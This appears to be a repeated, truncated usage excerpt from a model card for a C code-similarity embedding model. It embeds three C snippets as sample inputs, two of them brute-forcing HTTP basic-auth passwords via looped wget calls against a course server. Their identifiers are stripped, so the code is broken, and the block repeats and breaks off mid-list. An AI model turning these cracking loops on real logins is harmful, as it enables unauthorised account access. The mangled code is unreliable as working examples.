'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
